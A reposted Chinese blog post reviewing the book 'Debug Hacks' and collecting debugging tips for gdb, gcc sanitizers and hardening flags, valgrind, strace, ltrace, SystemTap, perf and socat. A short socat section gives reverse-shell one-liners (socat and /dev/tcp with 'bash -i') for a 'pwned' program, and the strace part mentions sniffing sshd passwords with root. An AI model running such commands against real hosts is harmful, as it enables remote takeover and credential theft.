《Debug Hacks》和调试技巧【转】

转自：https://blog.csdn.net/sdulibh/article/details/46462529

Debug Hacks

作者为吉冈弘隆、大和一洋、大岩尚宏、安部东洋、吉田俊辅，有中文版《Debug Hacks中文版—深入调试的技术和工具》。这本书涉及了很多调试技巧，对调试器使用、内核调试方法、常见错误的原因，还介绍了systemtap、strace、ltrace等一大堆工具，非常值得一读。

话说我听说过的各程序设计课程似乎都没有强调过调试的重要性，把调试当作单独一节课来上(就算有估计也上不好)，很多人都只会printf调试法，breakpoint都很少用，就不提conditional breakpoint、watchpoint、reverse execution之类的了。也看到过很多同学在调试上浪费了很长很长的时间。

下面是篇review，也包含了一些我自己整理的一些调试技巧。

折腾工具

继续牢骚几句，我接触过的人当中感觉最执着与折腾工具的人只有两个，ppwwyyxx和xiaq，他们是少有的能把折腾工具当作正经工作来做的人。

很久以前我还会到处在网上搜索好的实用工具，尤其是那些CLI程序，比如renameutils、xsel、recode、the_silver_searcher，查阅文档定制自己的配置文件。但这么做花费的时间太多。后来就想我可以搜索一些善于折腾的人的配置文件，关注他们修改了哪些地方，我的配置只要取众家之所长就可以了。

先厚颜自荐一下我的配置。下面的用户列表就是我找到的在GitHub上把dotfiles配置地井井有条的人(如果GitHub支持按照项目的大小排序，列表搜集就能省很多麻烦了)：

1	alejandrogomez bhj craigbarnes dotvim hamaco joedicastro laurentb ok100 pyx roylez sjl trapd00r vodik w0ng

有了上述的dotfiles，其他人的dotfiles大多都不愿看了。但是五岳归来不看山，黄山归来不看岳，ppwwyyxx的dotfiles感觉与之前诸位相比更胜一筹。

无关的话到此结束，下面是正文：

gdb

记录历史

把下面几行添加到~/.gdbinit中吧，gdb启动时会自动读取里面的命令并执行：

set history save on

set history size 10000

set history filename ~/.history/gdb

我习惯在~/.history堆放各个历史文件。有了历史，使用readline的reverse-search-history (C-r)就能轻松唤起之前输入过的命令。

修改任意内存地址的值

1	set {int}0x83040 = 4

显示intel风格的汇编指令

1	set disassembly-flavor intel

断点在function prologue前

先说一下function prologue吧，每个函数最前面一般有三四行指令用来保存旧的帧指针(rbp)，并腾出一部分栈空间(通常用于储存局部变量、为当前函数调用其他函数腾出空间存放参数，有时候还会存储字面字符串，当有nested function时也会用于保存当前的栈指针)。

在x86-64环境下典型的funcition prologue长成这样：

push rbp

mov rbp, rsp

sub rsp, 0x10

可能还会有and指令用于对齐rsp。如果编译时加上-fomit-frame-pointer(Visual Studio中文版似乎译作“省略框架指针”)，那么生成的指令就会避免使用rbp，function prologue就会简化成下面一行：

1	sub rsp, 0x10

设置断点时如果使用了b *func的格式，也就是说在函数名前加上*，gdb就会在执行function prologue前停下，而b func则是在执行function prologue后停下。参考下面的会话：

% gdb a.out

Reading symbols from /tmp/a.out...done.

(gdb) b *main

Breakpoint 1 at 0x4005cc: file a.c, line 4.

(gdb) r

Starting program: /tmp/a.out

warning: Could not load shared library symbols for linux-vdso.so.1.

Do you need "set solib-search-path" or "set sysroot"?

Breakpoint 1, main () at a.c:4

4 {

(gdb) disas

Dump of assembler code for function main:

=> 0x00000000004005cc <+0>: push rbp

0x00000000004005cd <+1>: mov rbp,rsp

0x00000000004005d0 <+4>: sub rsp,0x10

0x00000000004005d4 <+8>: mov DWORD PTR [rbp-0x4],0x0

0x00000000004005db <+15>: mov eax,DWORD PTR [rbp-0x4]

0x00000000004005de <+18>: mov esi,eax

0x00000000004005e0 <+20>: mov edi,0x4006ec

0x00000000004005e5 <+25>: mov eax,0x0

0x00000000004005ea <+30>: call 0x400454 <printf@plt>

0x00000000004005ef <+35>: leave

0x00000000004005f0 <+36>: ret

End of assembler dump.

(gdb)

Checkpoint

gdb可以为被调试的程序创建一个快照，即保存程序运行时的状态，等待以后恢复。这个是非常方便的一个功能，特别适合需要探测接下来会发生什么但又不想离开当前状态时使用。

ch是创建快照，d c ID是删除指定编号的快照，i ch是查看所有快照，restart ID是切换到指定编号的快照，详细说明可以在shell里键入info '(gdb) Checkpoint/Restart'查看。

% gdb ./a.out

Reading symbols from /tmp/a.out...done.

(gdb) b 6

Breakpoint 1 at 0x4005db: file a.c, line 6.

(gdb) r

Starting program: /tmp/a.out

warning: Could not load shared library symbols for linux-vdso.so.1.

Do you need "set solib-search-path" or "set sysroot"?

Breakpoint 1, main () at a.c:6

6 printf("%d\n", a);

(gdb) ch

checkpoint: fork returned pid 6420.

(gdb) p a=3

$1 = 3

(gdb) i ch

1 process 6420 at 0x4005db, file a.c, line 6

* 0 process 6416 (main process) at 0x4005db, file a.c, line 6

(gdb) restart 1

Switching to process 6420

#0 main () at a.c:6

6 printf("%d\n", a);

(gdb) c

Continuing.

[Inferior 1 (process 6420) exited with code 02]

[Switching to process 6416]

(gdb)

上面的会话中先用ch创建了一个快照，紧接着a被修改为了3，随后用restart 1恢复到编号为1的快照，继续运行程序可以发现a仍然为原来的值0。

以色列的Haifa Linux club有一次讲座讲gdb，讲稿值得一看：http://haifux.org/lectures/210/gdb_-_customize_it.html

逆向技术

Long Le的peda很不错，感觉比http://reverse.put.as的https://github.com/gdbinit/Gdbinit好用。

gcc

Mudflap

使用了compile-time instrumentation(CTI)的工具。编译时加上-fmudflap -lmudflap选项即可，会在很多不安全代码生成的指令前加上判断合法性的指令。

% echo 'int main() { int z[1]; z[1] = 2; }' | cc -xc - -fmudflap -lmudflap

% ./a.out

*******

mudflap violation 1 (check/write): time=1376473424.792953 ptr=0x7fff2cde3150 size=8

pc=0x7fa2bacf86f1 location=`<stdin>:1:29 (main)'

/usr/lib/gcc/x86_64-pc-linux-gnu/4.7.3/libmudflap.so.0(__mf_check+0x41) [0x7fa2bacf86f1]

./a.out(main+0x8f) [0x400b6b]

/lib64/libc.so.6(__libc_start_main+0xf5) [0x7fa2ba968c35]

Nearby object 1: checked region begins 0B into and ends 4B after

mudflap object 0x7070e0: name=`<stdin>:1:18 (main) z'

bounds=[0x7fff2cde3150,0x7fff2cde3153] size=4 area=stack check=0r/3w liveness=3

alloc time=1376473424.792946 pc=0x7fa2bacf7de1

number of nearby objects: 1

第一行用-xc -让cc从标准输入读源代码，并当作C来编译。接来下执行./a.out，可以看到运行时程序报错了。

使用MUDFLAP_OPTIONS环境变量可以控制Mudflap的运行期行为，具体参见Mudflap Pointer Debugging。

AddressSanitizer

和Mudflap类似的工具，clang和gcc可以加上选项-fsanitize=address使用，比如：

1	clang -fsanitize=address a.c

如果想在出错的地方断点停下来，可以用gdb打开，输入b __asan_report_store1回车，再输入r回车运行程序。

`-ftrapv`

这个选项是调试有符号整型溢出问题的利器。在i386环境下，gcc会把int32_t运算编译成call __addvsi3，__addvsi3函数会在运行时检查32位有符号加法运算是否产生溢出，如果是则调用abort函数中止程序。减法、乘法和取反运算也有类似的运行时函数检查溢出，另外也有64位版本的__addvdi3等函数。但不存在对无符号整型的溢出检测函数。比如下面这些代码均会触发trap：

int a = INT_MAX; a++;

int b = INT_MIN; b--;

int c = INT_MAX; c *= 2;

int d = INT_MIN; d = -d;

这段代码来自gcc项目目录的libgcc/libgcc2.c：

#ifdef L_subvsi3

Wtype

__subvSI3 (Wtype a, Wtype b)

{

const Wtype w = (UWtype) a - (UWtype) b;

if (b >= 0 ? w > a : w < a)

abort ();

return w;

}

但注意在x86-64环境下-ftrapv只检查64位溢出。考虑下面这段代码：

#include <limits.h>

#include <stdio.h>

int main()

{

int a = INT_MAX;

a++;

puts("barrier");

long b = LONG_MAX;

b++;

}

在x86-64下用gcc编译运行，输出barrier后才会执行abort使程序中止，因为int32_t的溢出不会触发trap。

clang也有-ftrapv，在x86-64环境下对于int32_t的溢出也能触发trap。

`_FORTIFY_SOURCE`

gets、strcpy这类函数容易造成stack mashing。gcc编译时如果指定了-D_FORTIFY_SOURCE=1，生成的汇编程序中这些不安全的函数调用会被替代为libc.so中名字类似__gets_chk的一类安全函数，会在运行期检查是否产生了缓冲区溢出。比如，下面的代码会在运行时报错：

#include <string.h>

int main()

{

char a[2];

strcpy(a, "meow");

}

Gentoo Portage从gcc-4.3.3-r1开始默认开启_FORTIFY_SOURCE标志了，好多发行版都开启了，测试发现Arch Linux的gcc似乎没有。shell里执行下面代码就可以看到Gentoo里是怎么定义_FORTIFY_SOURCE的了：

1	echo -e '#undef __OPTIMIZE__\nmain() { printf("%d\\n", _FORTIFY_SOURCE); }' \| cpp

也就是当优化等级在-O1或以上时_FORTIFY_SOURCE会生效，名字为__$func_chk模式的函数会被使用。这种做法造成了一些麻烦，比如suricata git tree里的src/suricata.c使用了#ifdef _FORTIFY_SOURCE，会造成编译无法通过。

`-fstack-protector`

-fstack-protector -fstack-protector-all gcc 4.8.1 -fstack-protector-strong

https://securityblog.redhat.com/2013/10/23/debugging-stack-protector-failures/

开启Stack-Smashing Protector (SSP)。我的理解是在储存的帧指针(rbp)前写入一个magic number，函数返回的时候检查下这个magic number是否被改动，如果是就可能产生stack smashing了。这个方法的footprint最小，但是保护力度也比较弱。

IA32

function prologue 80484c0: 65 a1 14 00 00 00 mov eax,gs:0x14 80484c6: 89 45 f4 mov DWORD PTR [ebp-0xc],eax

function epilogue 80484d7: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc] 80484da: 65 33 05 14 00 00 00 xor eax,DWORD PTR gs:0x14 80484e1: 74 05 je 80484e8 80484e3: e8 68 fe ff ff call 8048350 __stack_chk_fail@plt 80484e8: c9 leave 80484e9: c3 ret

x86-64

function prologue:

4005c9: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28 4005d0: 00 00 4005d2: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax

function epilogue

400618: 64 48 33 04 25 28 00 xor rax,QWORD PTR fs:0x28 40061f: 00 00 400621: 74 05 je 400628 400623: e8 88 fe ff ff call 4004b0 __stack_chk_fail@plt 400628: 48 83 c4 78 add rsp,0x78 40062c: c3 ret

execinfo.h

提供了int backtrace (void **buffer, int size)、char ** backtrace_symbols (void *const *buffer, int size)在程序运行时查看函数调用栈。参见http://www.gnu.org/software/libc/manual/html_node/Backtraces.html。

Misc

Valgrind

一系列调试和profiling工具的套件，其中的Memcheck是一个使用了dynamic binary instrumentation(DBI)的工具，在程序指令间插入自己的指令检查validity和addressablity。另外Memcheck替换了标准的malloc，这样就可以检测出off-by-one error、double free、内存泄漏等许多问题。

Memcheck引入的footprint极小，无需重编译程序，也没有繁琐的配置。比如原来是用./a.out执行程序，需要Memcheck时就换成valgrind ./a.out。

在程序访问某一内存地址时Memcheck会检查是否有越界之类的错误，Memcheck能诊断出大量但不是全部的访问错误，比如下面这样有问题的代码就没法检查出来：

int main()

{

int a[1];

a[1992] = 12;

}

因为a[1992]的地址在栈上，允许访问。

Valgrind启动时会读取~/.valgrindrc，对于memcheck我配置了下面这几行：

--memcheck:leak-check=yes

--memcheck:show-possibly-lost=yes

--memcheck:show-reachable=yes

--memcheck:track-origins=yes

--memcheck:dsymutil=yes

--memcheck:track-fds=yes

--memcheck:track-origins=yes

--memcheck:gen-suppressions=all

valgrind --vgdb-error=0 --vgdb=yes很强大，可以在进程遇到错误时让gdb调试。

strace

记录程序执行的系统调用和收到的信号，和valgrind类似，使用非常简单：

1	strace ./a.out

有一些选项可以attach到现有进程上去(-p)、记录时刻(-t)、统计系统调用使用次数(-c)、过滤特定的系统调用(-e)等。

带上-c选项可以统计系统调用的使用次数：

% strace -c ls

chap04 chap05 chap06 chap07 chap08 chap09 chap10 chap11 chap12 chap13 chap14 chap15 chap16 chap17

% time seconds usecs/call calls errors syscall

------ ----------- ----------- --------- --------- ----------------

0.00 0.000000 0 5 read

0.00 0.000000 0 1 write

0.00 0.000000 0 7 open

0.00 0.000000 0 10 close

0.00 0.000000 0 8 fstat

0.00 0.000000 0 20 mmap

0.00 0.000000 0 12 mprotect

0.00 0.000000 0 2 munmap

0.00 0.000000 0 3 brk

0.00 0.000000 0 2 rt_sigaction

0.00 0.000000 0 1 rt_sigprocmask

0.00 0.000000 0 2 ioctl

0.00 0.000000 0 1 1 access

0.00 0.000000 0 1 execve

0.00 0.000000 0 1 fcntl

0.00 0.000000 0 2 getdents

0.00 0.000000 0 1 getrlimit

0.00 0.000000 0 1 arch_prctl

0.00 0.000000 0 2 1 futex

0.00 0.000000 0 1 set_tid_address

0.00 0.000000 0 1 openat

0.00 0.000000 0 1 set_robust_list

------ ----------- ----------- --------- --------- ----------------

100.00 0.000000 85 2 total

-e选项只跟踪指定系统调用：

% strace -e read,open ls

open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3

open("/lib64/librt.so.1", O_RDONLY|O_CLOEXEC) = 3

read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\220(\0\0\0\0\0\0"..., 832) = 832

open("/lib64/libacl.so.1", O_RDONLY|O_CLOEXEC) = 3

read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\320#\0\0\0\0\0\0"..., 832) = 832

open("/lib64/libc.so.6", O_RDONLY|O_CLOEXEC) = 3

read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0@M\2\0\0\0\0\0"..., 832) = 832

open("/lib64/libpthread.so.0", O_RDONLY|O_CLOEXEC) = 3

read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0@}\0\0\0\0\0\0"..., 832) = 832

open("/lib64/libattr.so.1", O_RDONLY|O_CLOEXEC) = 3

read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0`\25\0\0\0\0\0\0"..., 832) = 832

open("/usr/lib64/locale/locale-archive", O_RDONLY|O_CLOEXEC) = 3

chap04 chap05 chap06 chap07 chap08 chap09 chap10 chap11 chap12 chap13 chap14 chap15 chap16 chap17

+++ exited with 0 +++

使用strace还可以做一些很可怕的事，比如有root权限的情况下嗅探sshd以得到其他尝试SSH登录的用户的密码：SSHD password sniffing。

-p很有用，比如调试CGI wrapperfcgiwrap，观察它的输出：

1	strace -s200 -p$(pidof -s fcgiwrap) -e write

ltrace

记录程序调用的动态库中的函数。名字和strace很像，使用方式和很多命令行选项也如出一辙。

查看echo test

% ltrace echo test

__libc_start_main(0x401590, 2, 0x7fff2bb3d4d8, 0x403ef0 <unfinished ...>

getenv("POSIXLY_CORRECT") = nil

strrchr("echo", '/') = nil

setlocale(LC_ALL, "") = "en_US.UTF-8"

bindtextdomain("coreutils", "/usr/share/locale") = "/usr/share/locale"

textdomain("coreutils") = "coreutils"

__cxa_atexit(0x401cf8, 0, 0, 0x736c6974756572) = 0

strcmp("test", "--help") = 71

strcmp("test", "--version") = 71

fputs_unlocked(0x7fff2bb3f1d3, 0x7f50af982160, 0, 45) = 1

putchar_unlocked(10, 116, 0x7f50afba6004, 0xfbad2a84test

) = 10

exit(0 <unfinished ...>

__fpending(0x7f50af982160, 0, 4, 0x7f50af982cf0) = 0

ferror_unlocked(0x7f50af982160, 0, 4, 0x7f50af982cf0) = 0

fileno(0x7f50af982160) = 1

__freading(0x7f50af982160, 0, 4, 0x7f50af982cf0) = 0

__freading(0x7f50af982160, 0, 2052, 0x7f50af982cf0) = 0

fflush(0x7f50af982160) = 0

fclose(0x7f50af982160) = 0

__fpending(0x7f50af982080, 0, 0, 0) = 0

ferror_unlocked(0x7f50af982080, 0, 0, 0) = 0

fileno(0x7f50af982080) = 2

__freading(0x7f50af982080, 0, 0, 0) = 0

__freading(0x7f50af982080, 0, 4, 0) = 0

fflush(0x7f50af982080) = 0

fclose(0x7f50af982080) = 0

+++ exited (status 0) +++

Ltrace Internals描述了ltrace的实现机制。

SystemTap

SystemTap提供了一套底层工具用于trace/probe。用户编写SystemTap script语言的程序，SystemTap将其翻译为C代码，再编译成临时的内核模块。内核模块加载时SystemTap script脚本里的hook就会在特定event发生时执行。当SystemTap脚本停止运行时，相应的hook就被删除，移除临时的内核模块。这一整套流程都是通过一个简单的CLI程序stap驱动的。

SystemTap使用前的配置过程比较复杂，需要特制的内核，开启CONFIG_KPROBES=y、CONFIG_DEBUG_INFO=y等诸多内核编译选项。

比如如下的简单脚本就能显示各进程调用net/socket.c内函数的情况：

probe kernel.function("*@net/socket.c").call {

printf ("%s -> %s\n", thread_indent(1), ppfunc())

}

probe kernel.function("*@net/socket.c").return {

printf ("%s <- %s\n", thread_indent(-1), ppfunc())

}

perf

perf record -e probe_a:main -e probe_a:main_1 /home/ray/tmp/a

perf annotate

sudo perf probe -x ~/tmp/a 'main%return %ip %sp'

sudo perf record -e probe_a:main -e probe_a:main_1 /home/ray/tmp/a && sudo perf script

可执行文件不能在tmpfs分区。

1	A=~/tmp; cc -xc <(echo 'main(){}') -Wl,-rpath,$A -o a && sudo perf probe -d '*' \|\| :; sudo perf probe -x $A/libc.so.6 malloc && sudoperf record -e probe_libc:malloc -aR ./a && sudo perf report -n

其他

书里还介绍了很多神奇的玩意儿，比如kaho，用于读取被编译器优化掉的变量；livepatch，运行时动态修改变量、替换函数等。这两个工具我在网上检索了下，感觉是个proof of concept的东西，也没有更新了。不够这些思路很奇特，想到了并试图去解决调试时常受困扰的问题，很棒。

`CFLAGS`使用`-g3`

对于重度使用macro的程序很有用，可以在gdb里使用info macro NAME、macro expand EXPR等命令了，print参数里的macro也可以展开。

rr

参见http://rr-project.org/，调试时最痛苦的莫过于难于重现，rr可以把不确定的外部影响固定下来。它的初衷是用来调Firefox的，由此可见它的可用性……幻灯片http://rr-project.org/rr.html介绍了很多内部机理，值得一看。

`gdb -p`不可用: ptrace: Operation not permitted.

gdb无法attach到用户相同的另一个进程上。Arch Linux、Ubuntu等很多发行版的内核默认设置了kernel.yama.ptrace_scope，参见https://lwn.net/Articles/393012/，即不具有CAP_SYS_PTRACE capability的进程只能ptrace它的后裔进程(子、孙、玄孙、来孙、晜孙、仍孙、云孙、耳孙等)。不特别在乎安全性的话，可以执行sudo sysctl kernel.yama.ptrace_scope=0。

收到SIGINT(或其他信号)后立刻用gdb调试自己

设想是fork产生一个新进程并停下来，原进程exec成gdb并attach调试新进程。注意：新进程应设置以创建新的进程组，不然gdb按数次continue后自身也会被stop，gdb所在终端将丢失前台进程组。这里我不太清楚gdb被stop的具体原因，但进程组经常作为一个整体和信号、终端等概念相互关联，可能是这方面的原因。

这里SIGINT可以考虑换成SIGFPE、SIGSEGV等，以防止进程死亡，用gdb交互式检视各个变量的值等以便于差错。

https://gist.github.com/MaskRay/298e87e465f45988d37f：

#include <signal.h>

#include <stdio.h>

#include <stdlib.h>

#include <sys/types.h>

#include <unistd.h>

void sigint(int)

{

pid_t pid = fork();

if (pid == -1)

abort();

else if (pid) {

char s[13];

sprintf(s, "%d", pid);

execlp("gdb", "gdb", "-p", s, NULL);

} else {

setpgid(0, getpid());

kill(getpid(), SIGSTOP);

}

int main()

{

signal(SIGINT, sigint);

sleep(1337);

puts("seen after gdb");

sleep(1337);

}

调试使用终端特性的程序

对于ncurses这类使用终端特性的程序，在gdb下调试时，gdb交互的终端也会被程序使用，程序可能执行屏幕擦除、移动光标等操作，和gdb交互的输出混杂在一起，产生干扰。解决方案是使用gdb的tty命令(文档见info '(gdb) Input/Output')。下面以rlwrap rev为例说明调试方法。

使用coreutils中的tty命令(并非gdb的tty命令)获得当前终端的名称，如/dev/pts/13，然后创建新shell会话，假设终端名是/dev/pts/14，将用作被调试程序的标准输入、输出、出错。在这个新终端里执行sleep 9999(如果不执行这条命令的话，/dev/pts/14的前台进程组是shell，会抢夺终端输入，而sleep不会读取终端输入，因此不会和被调试程序竞争)。

然后回到原来的shell会话(/dev/pts/13)，用gdb调试程序：

% gdb -tty /dev/pts/14 --args rlwrap rev

Reading symbols from rlwrap...(no debugging symbols found)...done.

(gdb) r

之后即可在/dev/pts/14和被调试程序交互了。或者用命令tty /dev/pts/14替代命令行选项-tty。

注意，此时被调试程序的标准输入、输出、出错均为/dev/pts/14，但没有控制终端(controlling terminal)，并且能在/dev/pts/14看到gdb的警报：warning: GDB: Failed to set controlling terminal: Operation not permitted。用strace调试gdb可以看到ioctl(3, TIOCSCTTY, 0) = -1 EPERM (Operation not permitted)，即gdb尝试把/dev/pts/14设为被调试进程的控制进程，但失败了。原因是/dev/pts/14上还有shell和sleep 9999以它为控制终端，无法抢夺。不过多数情况用不着控制终端提供的一些功能。

参见http://dirac.org/linux/gdb/07-Debugging_Ncurses_Programs.php。

socat

把不同输入输出端对接的瑞士军刀，是nc的进化型，支持非常多的网络协议、文件等IO方式。

下面演示如何把一个程序的输入和输出分别接到监听的某个socket的输出和输入上。

对弈的gnuchess

创建black.sh：

1 2	#!/bin/zsh { echo depth 0; cat; echo exit;} \| gnuchess -e \| stdbuf -o0 grep -aPo '(?<=My move is : )\S+'

用socat启动TCP服务端：socat tcp-l:4444,reuseaddr exec:./black.sh。

创建white.sh：

1 2	#!/bin/zsh { echo depth 0; echo go; cat; echo exit;} \| gnuchess -e \| tee /tmp/output \| stdbuf -o0 grep -aPo '(?<=My move is : )\S+'

用socat启动TCP客户端：socat tcp:0:4444,reuseaddr exec:./white.sh。之后即可在/tmp/output看到两个gnuchess进程的对局。执行gnuchess，输入depth 0后可以限制它的搜索深度(加快运行速度)，输入go可以让它走一步。

写到此处，忽然想到之前NOI 2010团体对抗赛时，不了解这些东西的用法，浪费了很大工夫。

输入输出到终端的reverse shell

通常用system("sh")等方式搞的shell都不是interactive shell，没有提示符，也无法用readline的快捷键，不方便。下面介绍产生interactive shell的方法：

本地监听9999端口，等远端被pwn的程序连接：

1 2	socat stdio,raw,echo=0 tcp-l:9999 # 或者使用stty -echo raw; nc -l 9999; stty echo -raw

远端执行：

1	socat tcp:0:9999 exec:'bash -i',pty,stderr # 0应填之前监听9999端口的机器的IP

当然远端很可能没有socat，可以用util-linux包中的script：

1	script -qc 'bash -i' /dev/null &>/dev/tcp/0/9999 <&1 # 使用了bash创建socket的功能

pstack

打印指定进程的系统栈。

本质是一段脚本，核心是下面这句话：

1 2	#!/bin/zsh gdb -q -nx -p $1 <<< 't a a bt' 2>&- \| sed -ne '/^#/p'

你应该把它保存到你的工具集里。新的gdb支持对单线程进程使用thread apply all bt了。

% pstack $$

#0 0x00007fc00a3a6866 in sigsuspend () from /usr/lib/libc.so.6

#1 0x0000000000471906 in signal_suspend ()

#2 0x0000000000442d56 in ?? ()

#3 0x0000000000443437 in waitjobs ()

#4 0x0000000000429b4b in ?? ()

#5 0x000000000042a6e1 in execlist ()

#6 0x000000000042a970 in execode ()

#7 0x000000000043c1dc in loop ()

#8 0x000000000043f30e in zsh_main ()

#9 0x00007fc00a393800 in __libc_start_main () from /usr/lib/libc.so.6

#10 0x000000000041013e in _start ()

安装新的gdb

gdb和gcc有一定的版本适配性，有些恶劣的工作环境需要自己编译安装gdb，下面只是我折腾C++ STL查看器的注记。

1	./configure --prefix=~/.local/stow/gdb --with-gdb-datadir=/usr/share/gcc-4.9/python

~/.gdbinit里添加：

python

import sys

sys.path.append('/usr/share/gcc-4.9/python')

from libstdcxx.v6.printers import register_libstdcxx_printers

register_libstdcxx_printers(None)

end

没有源码的环境调试

用sshfs或其他文件共享手段从其他机器上挂载源码目录，使用directory命令设置源码查找目录。另外还有set substitute-path，参见info '(gdb) Source Path'。

MongoDB resource limits动态设置调试记

MongoDB使用mmap映射数据文件及分配内存，把内存管理的任务交给操作系统，造成内存使用量无法控制。我误以为resource limits中的RLIMIT_AS可以限制虚拟内存使用，就在启动mongod前执行ulimit -v $[512*1024]，效果是之后所有在shell里启动的新进程的虚拟内存都不能超过512MiB。

在测试写入性能时，发现过了很长时间也没有把所有测试数据插入成功。后查看日志发现这些记录：

1 2	2015-03-13T20:20:18.558+0800 [conn1] ERROR: mmap private failed with out of memory. (64 bit build) 2015-03-13T20:20:18.558+0800 [conn1] Assertion: 13636:file /tmp/db/test.2 open/create failed in createPrivateMap (look in logfor more information)

大概每5秒钟会产生一段错误记录，估计和mmap有关。使用strace查看mongod及其所有子进程(包括当前和未来创建的)的mmap系统调用：strace -fe mmap -p $(pgrep -n mongod)，产生大量重复的输出：

1 2	[pid 31551] mmap(NULL, 67108864, PROT_READ\|PROT_WRITE, MAP_SHARED, 17, 0) = 0x7f2e58716000 [pid 31551] mmap(NULL, 67108864, PROT_READ\|PROT_WRITE, MAP_PRIVATE\|MAP_NORESERVE, 17, 0) = -1 ENOMEM (Cannot allocate memory)

即以两个mmap为单元，不断输出这两行，注意到mmap(2)参数中的文件描述符fd，再列示已有的文件描述符ls -l /proc/$(pgrep -n mongod)/fd/。猜测这两个mmap都和数据文件(test.0、test.1等)有关。后来再用pmap -p $(pgrep -n mongod)列示已映射的地址空间，发现与0x7f2e58716000(第一次执行的mmap的返回值)地址相近的都是些数据文件，印证了猜测。后来看/proc下该进程的相关信息，发现/proc/$(pgrep -n mongod)/limits列示的Max address space不正常，终于想到是先前ulimit -v限制了地址空间大小，导致了这个问题。之后有两个解决办法，一是关闭mongod，修改resource limits后重启，二是动态修改resource limits。为了好玩，自然选第二个。先要找出RLIMIT_AS的数值：ag RLIMIT_AS /usr/include/bits，发现是9，之后用gdb attach到mongod上修改resource limits：

$ gdb -p $(pgrep -n mongod)

(gdb) set $r = &{0ll, 0ll}

(gdb) p getrlimit(9,$r)

$1 = 0

(gdb) set (*$r)[0]=-1 # struct rlimit { rlim_t rlim_cur; rlim_t rlim_max; } 要修改的项是rlim_cur

(gdb) p setrlimit(9,$r)

$1 = 0

成功修改了resource limits！之后日志中果然出现了数据文件新建成功的信息，不再有mmap的错误了。

posted @ 2018-11-12 17:04 Sky&Zhang 阅读(1933) 评论(0) 编辑收藏举报

刷新页面返回顶部

sky

我所做的事情都是源于自己对梦想的追求--分享技术、共同创造新世界---欢迎交流：zhangbinghua2012@163.com skyzhangbinghua@gmai.com

《Debug Hacks》和调试技巧【转】

Debug Hacks

折腾工具

gdb

记录历史

修改任意内存地址的值

显示intel风格的汇编指令

断点在function prologue前

Checkpoint

逆向技术

gcc

Mudflap

AddressSanitizer

-ftrapv

_FORTIFY_SOURCE

-fstack-protector

IA32

x86-64

execinfo.h

Misc

Valgrind

strace

ltrace

SystemTap

perf

其他

CFLAGS使用-g3

rr

gdb -p不可用: ptrace: Operation not permitted.

收到SIGINT(或其他信号)后立刻用gdb调试自己

调试使用终端特性的程序

socat

对弈的gnuchess

输入输出到终端的reverse shell

pstack

安装新的gdb

没有源码的环境调试

MongoDB resource limits动态设置调试记

公告

`-ftrapv`

`_FORTIFY_SOURCE`

`-fstack-protector`

`CFLAGS`使用`-g3`

`gdb -p`不可用: ptrace: Operation not permitted.